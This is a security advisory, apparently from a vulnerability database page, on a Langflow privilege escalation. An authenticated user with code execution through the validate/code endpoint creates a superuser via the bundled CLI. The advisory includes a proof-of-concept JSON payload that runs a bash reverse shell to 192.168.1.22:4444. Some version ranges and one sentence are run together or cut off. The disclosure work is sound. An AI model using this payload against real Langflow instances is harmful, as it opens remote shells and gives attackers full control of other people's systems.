| Package | Affected versions | Patched versions |
|---|---|---|
| langflow | < 1.5.0< 1.5.1 | 1.5.01.5.1 |
| langflow-base | < 0.5.1 | 0.5.1 |
| langflow | = 1.5.0< 1.5.0 | 1.5.0 |
This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.
A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.
Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:
langflow superuser
This command allows creation of a new superuser without checking whether one already exists.
When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:
/app/.venv/bin/langflow superuser
inside the container, and elevate themselves to full superuser privileges.
This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.
Send an authenticated POST request:
{
"code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass"
}
langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.Running one of these products? Scan your site to see whether it exposes a vulnerable version.
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